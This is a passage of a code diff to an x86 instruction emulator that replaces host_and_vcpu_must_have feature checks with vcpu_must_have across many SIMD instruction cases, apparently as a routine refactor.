             op_bytes = 1;
         }
         else
@@ -4981,14 +4981,14 @@ x86_emulate(
         generate_exception_if(vex.l || !vex.r || vex.reg != 0xf ||
                               ea.type != OP_REG, X86_EXC_UD);
 
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( vex.pfx == vex_f2 )
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         else
         {
             generate_exception_if(vex.w, X86_EXC_UD);
             if ( vex.pfx )
-                host_and_vcpu_must_have(avx512dq);
+                vcpu_must_have(avx512dq);
         }
 
         get_fpu(X86EMUL_FPU_opmask);
@@ -5020,10 +5020,10 @@ x86_emulate(
         dst = ea;
         dst.reg = decode_gpr(&_regs, modrm_reg);
 
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( vex.pfx == vex_f2 )
         {
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
             dst.bytes = 4 << (mode_64bit() && vex.w);
         }
         else
@@ -5031,7 +5031,7 @@ x86_emulate(
             generate_exception_if(vex.w, X86_EXC_UD);
             dst.bytes = 4;
             if ( vex.pfx )
-                host_and_vcpu_must_have(avx512dq);
+                vcpu_must_have(avx512dq);
         }
 
         get_fpu(X86EMUL_FPU_opmask);
@@ -5055,18 +5055,18 @@ x86_emulate(
 
     case X86EMUL_OPC_VEX(0x0f, 0x99):    /* ktest{w,q} k,k */
         if ( !vex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         /* fall through */
     case X86EMUL_OPC_VEX(0x0f, 0x98):    /* kortest{w,q} k,k */
     case X86EMUL_OPC_VEX_66(0x0f, 0x98): /* kortest{b,d} k,k */
     case X86EMUL_OPC_VEX_66(0x0f, 0x99): /* ktest{b,d} k,k */
         generate_exception_if(vex.l || !vex.r || vex.reg != 0xf ||
                               ea.type != OP_REG, X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( vex.w )
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         else if ( vex.pfx )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
 
         get_fpu(X86EMUL_FPU_opmask);
 
@@ -5256,7 +5256,7 @@ x86_emulate(
         break;
 
     case X86EMUL_OPC_F3(0x0f, 0xb8): /* popcnt r/m,r */
-        host_and_vcpu_must_have(popcnt);
+        vcpu_must_have(popcnt);
         asm ( "popcnt %1,%0" : "=r" (dst.val) : "rm" (src.val) );
         _regs.eflags &= ~EFLAGS_MASK;
         if ( !dst.val )
@@ -5353,7 +5353,7 @@ x86_emulate(
                                 (evex.pfx & VEX_PREFIX_SCALAR_MASK)) ||
                                !evex.r || !evex.R || evex.z),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(evex.pfx & VEX_PREFIX_SCALAR_MASK);
     simd_imm8_zmm:
@@ -5397,9 +5397,9 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x22): /* vpinsr{d,q} $imm8,r/m,xmm,xmm */
         generate_exception_if(evex.lr || evex.opmsk || evex.brs, X86_EXC_UD);
         if ( b & 2 )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         else
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         if ( !mode_64bit() )
             evex.w = 0;
         memcpy(mmvalp, &src.val, src.bytes);
@@ -5436,7 +5436,7 @@ x86_emulate(
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f3a, 0x25): /* vpternlog{d,q} $imm8,[xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     avx512f_imm8_no_sae:
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(ea.type != OP_MEM && evex.brs, X86_EXC_UD);
         avx512_vlen_check(false);
         goto simd_imm8_zmm;
@@ -5506,7 +5506,7 @@ x86_emulate(
     case X86EMUL_OPC_F2(0x0f, 0xd6):     /* movdq2q xmm,mm */
         generate_exception_if(ea.type != OP_REG, X86_EXC_UD);
         op_bytes = 8;
-        host_and_vcpu_must_have(mmx);
+        vcpu_must_have(mmx);
         goto simd_0f_int;
 
 #endif /* !X86EMUL_NO_MMX && !X86EMUL_NO_SIMD */
@@ -5535,7 +5535,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f, 0xe4): /* vpmulhuw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f, 0xea): /* vpminsw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f, 0xee): /* vpmaxsw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         elem_bytes = b & 0x10 ? 1 : 2;
         goto avx512f_no_sae;
@@ -5558,7 +5558,7 @@ x86_emulate(
         {
             generate_exception_if(vex.l || vex.reg != 0xf, X86_EXC_UD);
             d |= TwoOp;
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
         else if ( vex.pfx )
@@ -5568,7 +5568,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             vcpu_must_have(mmxext);
             get_fpu(X86EMUL_FPU_mmx);
         }
@@ -5630,7 +5630,7 @@ x86_emulate(
     CASE_SIMD_PACKED_INT(0x0f38, 0x1c): /* pabsb {,x}mm/mem,{,x}mm */
     CASE_SIMD_PACKED_INT(0x0f38, 0x1d): /* pabsw {,x}mm/mem,{,x}mm */
     CASE_SIMD_PACKED_INT(0x0f38, 0x1e): /* pabsd {,x}mm/mem,{,x}mm */
-        host_and_vcpu_must_have(ssse3);
+        vcpu_must_have(ssse3);
         if ( vex.pfx )
         {
     simd_0f38_common:
@@ -5638,7 +5638,7 @@ x86_emulate(
         }
         else
         {
-            host_and_vcpu_must_have(mmx);
+            vcpu_must_have(mmx);
             get_fpu(X86EMUL_FPU_mmx);
         }
         opc = init_prefixes(stub);
@@ -5665,7 +5665,7 @@ x86_emulate(
         if ( ea.type != OP_MEM )
         {
             generate_exception_if(b & 2, X86_EXC_UD);
-            host_and_vcpu_must_have(avx2);
+            vcpu_must_have(avx2);
         }
         /* fall through */
     case X86EMUL_OPC_VEX_66(0x0f38, 0x0c): /* vpermilps {x,y}mm/mem,{x,y}mm,{x,y}mm */
@@ -5681,13 +5681,13 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f38, 0x17): /* vptest {x,y}mm/mem,{x,y}mm */
         if ( vex.opcx == vex_none )
         {
-            host_and_vcpu_must_have(sse4_1);
+            vcpu_must_have(sse4_1);
             get_fpu(X86EMUL_FPU_xmm);
         }
         else
         {
             generate_exception_if(vex.reg != 0xf, X86_EXC_UD);
-            host_and_vcpu_must_have(avx);
+            vcpu_must_have(avx);
             get_fpu(X86EMUL_FPU_ymm);
         }
 
@@ -5754,13 +5754,13 @@ x86_emulate(
     case X86EMUL_OPC_66(0x0f38, 0x3f): /* pmaxud xmm/m128,xmm */
     case X86EMUL_OPC_66(0x0f38, 0x40): /* pmulld xmm/m128,xmm */
     case X86EMUL_OPC_66(0x0f38, 0x41): /* phminposuw xmm/m128,xmm */
-        host_and_vcpu_must_have(sse4_1);
+        vcpu_must_have(sse4_1);
         goto simd_0f38_common;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x10): /* vpsrlvw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x11): /* vpsravw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x12): /* vpsllvw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(!evex.w || evex.brs, X86_EXC_UD);
         elem_bytes = 2;
         goto avx512f_no_sae;
@@ -5770,7 +5770,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_F3(0x0f38, 0x20): /* vpmovswb [xyz]mm,{x,y}mm/mem{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x30): /* vpmovzxbw {x,y}mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_F3(0x0f38, 0x30): /* vpmovwb [xyz]mm,{x,y}mm/mem{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         if ( evex.pfx != vex_f3 )
         {
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x21): /* vpmovsxbd xmm/mem,[xyz]mm{k} */
@@ -5812,13 +5812,13 @@ x86_emulate(
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0x13): /* vcvtph2ps xmm/mem,{x,y}mm */
         generate_exception_if(vex.w, X86_EXC_UD);
-        host_and_vcpu_must_have(f16c);
+        vcpu_must_have(f16c);
         op_bytes = 8 << vex.l;
         goto simd_0f_ymm;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x13): /* vcvtph2ps {x,y}mm/mem,[xyz]mm{k} */
         generate_exception_if(evex.w || (ea.type != OP_REG && evex.brs), X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( !evex.brs )
             avx512_vlen_check(false);
         op_bytes = 8 << evex.lr;
@@ -5872,7 +5872,7 @@ x86_emulate(
             op_bytes = 8;
         generate_exception_if(evex.brs, X86_EXC_UD);
         if ( !evex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         goto avx512_broadcast;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x1a): /* vbroadcastf32x4 m128,{y,z}mm{k} */
@@ -5882,7 +5882,7 @@ x86_emulate(
         generate_exception_if(ea.type != OP_MEM || !evex.lr || evex.brs,
                               X86_EXC_UD);
         if ( evex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         goto avx512_broadcast;
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0x20): /* vpmovsxbw xmm/mem,{x,y}mm */
@@ -5907,9 +5907,9 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_F3(0x0f38, 0x28): /* vpmovm2{b,w} k,[xyz]mm */
     case X86EMUL_OPC_EVEX_F3(0x0f38, 0x38): /* vpmovm2{d,q} k,[xyz]mm */
         if ( b & 0x10 )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         else
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         generate_exception_if(evex.opmsk || ea.type != OP_REG, X86_EXC_UD);
         d |= TwoOp;
         op_bytes = 16 << evex.lr;
@@ -5952,7 +5952,7 @@ x86_emulate(
         fault_suppression = false;
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x44): /* vplzcnt{d,q} [xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512cd);
+        vcpu_must_have(avx512cd);
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0x2c): /* vmaskmovps mem,{x,y}mm,{x,y}mm */
@@ -5963,7 +5963,7 @@ x86_emulate(
         typeof(vex) *pvex;
 
         generate_exception_if(ea.type != OP_MEM || vex.w, X86_EXC_UD);
-        host_and_vcpu_must_have(avx);
+        vcpu_must_have(avx);
         elem_bytes = 4 << (b & 1);
     vmaskmov:
         get_fpu(X86EMUL_FPU_ymm);
@@ -6028,7 +6028,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xba): /* vfmsub231p{s,d} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xbc): /* vfnmadd231p{s,d} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xbe): /* vfnmsub231p{s,d} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         if ( ea.type != OP_REG || !evex.brs )
             avx512_vlen_check(false);
         goto simd_zmm;
@@ -6047,28 +6047,28 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xbb): /* vfmsub231s{s,d} xmm/mem,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xbd): /* vfnmadd231s{s,d} xmm/mem,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xbf): /* vfnmsub231s{s,d} xmm/mem,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(ea.type != OP_REG && evex.brs, X86_EXC_UD);
         if ( !evex.brs )
             avx512_vlen_check(true);
         goto simd_zmm;
 
     case X86EMUL_OPC_66(0x0f38, 0x37): /* pcmpgtq xmm/m128,xmm */
-        host_and_vcpu_must_have(sse4_2);
+        vcpu_must_have(sse4_2);
         goto simd_0f38_common;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x38): /* vpminsb [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x3a): /* vpminuw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x3c): /* vpmaxsb [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x3e): /* vpmaxuw [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         elem_bytes = b & 2 ?: 1;
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x40): /* vpmull{d,q} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
         if ( evex.w )
-            host_and_vcpu_must_have(avx512dq);
+            vcpu_must_have(avx512dq);
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_66(0x0f38, 0xdb):     /* aesimc xmm/m128,xmm */
@@ -6077,7 +6077,7 @@ x86_emulate(
     case X86EMUL_OPC_66(0x0f38, 0xdd):     /* aesenclast xmm/m128,xmm,xmm */
     case X86EMUL_OPC_66(0x0f38, 0xde):     /* aesdec xmm/m128,xmm,xmm */
     case X86EMUL_OPC_66(0x0f38, 0xdf):     /* aesdeclast xmm/m128,xmm,xmm */
-        host_and_vcpu_must_have(aesni);
+        vcpu_must_have(aesni);
         if ( vex.opcx == vex_none )
             goto simd_0f38_common;
         /* fall through */
@@ -6091,7 +6091,7 @@ x86_emulate(
     case X86EMUL_OPC_VEX   (0x0f38, 0x51): /* vpdpbuuds [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_F3(0x0f38, 0x51): /* vpdpbsuds [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_F2(0x0f38, 0x51): /* vpdpbssds [xy]mm/mem,[xy]mm,[xy]mm */
-        host_and_vcpu_must_have(avx_vnni_int8);
+        vcpu_must_have(avx_vnni_int8);
         generate_exception_if(vex.w, X86_EXC_UD);
         op_bytes = 16 << vex.l;
         goto simd_0f_ymm;
@@ -6100,7 +6100,7 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f38, 0x51): /* vpdpbusds [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0x52): /* vpdpwssd [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0x53): /* vpdpwssds [xy]mm/mem,[xy]mm,[xy]mm */
-        host_and_vcpu_must_have(avx_vnni);
+        vcpu_must_have(avx_vnni);
         generate_exception_if(vex.w, X86_EXC_UD);
         goto simd_0f_ymm;
 
@@ -6108,7 +6108,7 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x51): /* vpdpbusds [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x52): /* vpdpwssd [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x53): /* vpdpwssds [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_vnni);
+        vcpu_must_have(avx512_vnni);
         generate_exception_if(evex.w, X86_EXC_UD);
         goto avx512f_no_sae;
 
@@ -6120,7 +6120,7 @@ x86_emulate(
             d |= TwoOp;
         /* fall through */
     case X86EMUL_OPC_EVEX_F3(0x0f38, 0x52): /* vdpbf16ps [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_bf16);
+        vcpu_must_have(avx512_bf16);
         generate_exception_if(evex.w, X86_EXC_UD);
         op_bytes = 16 << evex.lr;
         goto avx512f_no_sae;
@@ -6137,7 +6137,7 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x4d): /* vrcp14s{s,d} xmm/mem,xmm,xmm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x4f): /* vrsqrt14s{s,d} xmm/mem,xmm,xmm{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(evex.brs, X86_EXC_UD);
         avx512_vlen_check(true);
         goto simd_zmm;
@@ -6146,16 +6146,16 @@ x86_emulate(
         generate_exception_if(evex.w || !evex.r || !evex.R || evex.z, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x54): /* vpopcnt{b,w} [xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_bitalg);
+        vcpu_must_have(avx512_bitalg);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x66): /* vpblendm{b,w} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         elem_bytes = 1 << evex.w;
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x55): /* vpopcnt{d,q} [xyz]mm/mem,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_vpopcntdq);
+        vcpu_must_have(avx512_vpopcntdq);
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0x5a): /* vbroadcasti128 m128,ymm */
@@ -6164,14 +6164,14 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x62): /* vpexpand{b,w} [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x63): /* vpcompress{b,w} [xyz]mm,[xyz]mm/mem{k} */
-        host_and_vcpu_must_have(avx512_vbmi2);
+        vcpu_must_have(avx512_vbmi2);
         elem_bytes = 1 << evex.w;
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x88): /* vexpandp{s,d} [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x89): /* vpexpand{d,q} [xyz]mm/mem,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x8a): /* vcompressp{s,d} [xyz]mm,[xyz]mm/mem{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x8b): /* vpcompress{d,q} [xyz]mm,[xyz]mm/mem{k} */
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         generate_exception_if(evex.brs, X86_EXC_UD);
         avx512_vlen_check(false);
         /*
@@ -6193,7 +6193,7 @@ x86_emulate(
         goto simd_zmm;
 
     case X86EMUL_OPC_EVEX_F2(0x0f38, 0x68): /* vp2intersect{d,q} [xyz]mm/mem,[xyz]mm,k+1 */
-        host_and_vcpu_must_have(avx512_vp2intersect);
+        vcpu_must_have(avx512_vp2intersect);
         generate_exception_if(evex.opmsk || !evex.r || !evex.R, X86_EXC_UD);
         op_bytes = 16 << evex.lr;
         goto avx512f_no_sae;
@@ -6205,7 +6205,7 @@ x86_emulate(
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x71): /* vpshldv{d,q} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x73): /* vpshrdv{d,q} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_vbmi2);
+        vcpu_must_have(avx512_vbmi2);
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_VEX   (0x0f38, 0xb0): /* vcvtneoph2ps mem,[xy]mm */
@@ -6215,7 +6215,7 @@ x86_emulate(
         generate_exception_if(ea.type != OP_MEM, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_VEX_F3(0x0f38, 0x72): /* vcvtneps2bf16 [xy]mm/mem,xmm */
-        host_and_vcpu_must_have(avx_ne_convert);
+        vcpu_must_have(avx_ne_convert);
         generate_exception_if(vex.w, X86_EXC_UD);
         d |= TwoOp;
         op_bytes = 16 << vex.l;
@@ -6225,16 +6225,16 @@ x86_emulate(
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x7d): /* vpermt2{b,w} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x8d): /* vperm{b,w} [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
         if ( !evex.w )
-            host_and_vcpu_must_have(avx512_vbmi);
+            vcpu_must_have(avx512_vbmi);
         else
-            host_and_vcpu_must_have(avx512bw);
+            vcpu_must_have(avx512bw);
         generate_exception_if(evex.brs, X86_EXC_UD);
         fault_suppression = false;
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x78): /* vpbroadcastb xmm/m8,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x79): /* vpbroadcastw xmm/m16,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.w || evex.brs, X86_EXC_UD);
         op_bytes = elem_bytes = 1 << (b & 1);
         /* See the comment at the avx512_broadcast label. */
@@ -6243,14 +6243,14 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x7a): /* vpbroadcastb r32,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x7b): /* vpbroadcastw r32,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512bw);
+        vcpu_must_have(avx512bw);
         generate_exception_if(evex.w, X86_EXC_UD);
         /* fall through */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x7c): /* vpbroadcast{d,q} reg,[xyz]mm{k} */
         generate_exception_if((ea.type != OP_REG || evex.brs ||
                                evex.reg != 0xf || !evex.RX),
                               X86_EXC_UD);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         avx512_vlen_check(false);
         get_fpu(X86EMUL_FPU_zmm);
 
@@ -6319,14 +6319,14 @@ x86_emulate(
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0x83): /* vpmultishiftqb [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
         generate_exception_if(!evex.w, X86_EXC_UD);
-        host_and_vcpu_must_have(avx512_vbmi);
+        vcpu_must_have(avx512_vbmi);
         fault_suppression = false;
         goto avx512f_no_sae;
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0x8c): /* vpmaskmov{d,q} mem,{x,y}mm,{x,y}mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0x8e): /* vpmaskmov{d,q} {x,y}mm,{x,y}mm,mem */
         generate_exception_if(ea.type != OP_MEM, X86_EXC_UD);
-        host_and_vcpu_must_have(avx2);
+        vcpu_must_have(avx2);
         elem_bytes = 4 << vex.w;
         goto vmaskmov;
 
@@ -6468,7 +6468,7 @@ x86_emulate(
                                modrm_reg == state->sib_index),
                               X86_EXC_UD);
         avx512_vlen_check(false);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         get_fpu(X86EMUL_FPU_zmm);
 
         /* Read destination and index registers. */
@@ -6608,7 +6608,7 @@ x86_emulate(
     case X86EMUL_OPC_VEX_66(0x0f38, 0xbd): /* vfnmadd231s{s,d} xmm/mem,xmm,xmm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0xbe): /* vfnmsub231p{s,d} {x,y}mm/mem,{x,y}mm,{x,y}mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0xbf): /* vfnmsub231s{s,d} xmm/mem,xmm,xmm */
-        host_and_vcpu_must_have(fma);
+        vcpu_must_have(fma);
         goto simd_0f_ymm;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xa0): /* vpscatterd{d,q} [xyz]mm,mem{k} */
@@ -6630,7 +6630,7 @@ x86_emulate(
                                modrm_reg == state->sib_index),
                               X86_EXC_UD);
         avx512_vlen_check(false);
-        host_and_vcpu_must_have(avx512f);
+        vcpu_must_have(avx512f);
         get_fpu(X86EMUL_FPU_zmm);
 
         /* Read source and index registers. */
@@ -6733,20 +6733,20 @@ x86_emulate(
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0xb1): /* vbcstnesh2ps mem,[xy]mm */
     case X86EMUL_OPC_VEX_F3(0x0f38, 0xb1): /* vbcstnebf162ps mem,[xy]mm */
-        host_and_vcpu_must_have(avx_ne_convert);
+        vcpu_must_have(avx_ne_convert);
         generate_exception_if(vex.w || ea.type != OP_MEM, X86_EXC_UD);
         op_bytes = 2;
         goto simd_0f_ymm;
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0xb4): /* vpmadd52luq [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0xb5): /* vpmadd52huq [xy]mm/mem,[xy]mm,[xy]mm */
-        host_and_vcpu_must_have(avx_ifma);
+        vcpu_must_have(avx_ifma);
         generate_exception_if(!vex.w, X86_EXC_UD);
         goto simd_0f_ymm;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xb4): /* vpmadd52luq [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xb5): /* vpmadd52huq [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(avx512_ifma);
+        vcpu_must_have(avx512_ifma);
         generate_exception_if(!evex.w, X86_EXC_UD);
         goto avx512f_no_sae;
 
@@ -6756,29 +6756,29 @@ x86_emulate(
     case X86EMUL_OPC(0x0f38, 0xcb):     /* sha256rnds2 XMM0,xmm/m128,xmm */
     case X86EMUL_OPC(0x0f38, 0xcc):     /* sha256msg1 xmm/m128,xmm */
     case X86EMUL_OPC(0x0f38, 0xcd):     /* sha256msg2 xmm/m128,xmm */
-        host_and_vcpu_must_have(sha);
+        vcpu_must_have(sha);
         op_bytes = 16;
         goto simd_0f38_common;
 
     case X86EMUL_OPC_VEX_F2(0x0f38, 0xcb): /* vsha512rnds2 xmm,ymm,ymm */
     case X86EMUL_OPC_VEX_F2(0x0f38, 0xcc): /* vsha512msg1 xmm,ymm */
     case X86EMUL_OPC_VEX_F2(0x0f38, 0xcd): /* vsha512msg2 ymm,ymm */
-        host_and_vcpu_must_have(sha512);
+        vcpu_must_have(sha512);
         generate_exception_if(ea.type != OP_REG || vex.w || !vex.l, X86_EXC_UD);
         op_bytes = 32;
         goto simd_0f_ymm;
 
     case X86EMUL_OPC_66(0x0f38, 0xcf):      /* gf2p8mulb xmm/m128,xmm */
-        host_and_vcpu_must_have(gfni);
+        vcpu_must_have(gfni);
         goto simd_0f38_common;
 
     case X86EMUL_OPC_VEX_66(0x0f38, 0xcf):  /* vgf2p8mulb {x,y}mm/mem,{x,y}mm,{x,y}mm */
-        host_and_vcpu_must_have(gfni);
+        vcpu_must_have(gfni);
         generate_exception_if(vex.w, X86_EXC_UD);
         goto simd_0f_avx;
 
     case X86EMUL_OPC_EVEX_66(0x0f38, 0xcf): /* vgf2p8mulb [xyz]mm/mem,[xyz]mm,[xyz]mm{k} */
-        host_and_vcpu_must_have(gfni);
+        vcpu_must_have(gfni);
         generate_exception_if(evex.w || evex.brs, X86_EXC_UD);
         elem_bytes = 1;
         goto avx512f_no_sae;
@@ -6789,7 +6789,7 @@ x86_emulate(
     case X86EMUL_OPC_VEX   (0x0f38, 0xd3): /* vpdpwuuds [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0xd3): /* vpdpwusds [xy]mm/mem,[xy]mm,[xy]mm */
     case X86EMUL_OPC_VEX_F3(0x0f38, 0xd3): /* vpdpwsuds [xy]mm/mem,[xy]mm,[xy]mm */
-        host_and_vcpu_must_have(avx_vnni_int16);
+        vcpu_must_have(avx_vnni_int16);
         generate_exception_if(vex.w, X86_EXC_UD);
         op_bytes = 16 << vex.l;
         goto simd_0f_ymm;
@@ -6797,12 +6797,12 @@ x86_emulate(
     case X86EMUL_OPC_VEX   (0x0f38, 0xda): /* vsm3msg1 xmm/mem,xmm,xmm */
     case X86EMUL_OPC_VEX_66(0x0f38, 0xda): /* vsm3msg2 xmm/mem,xmm,xmm */
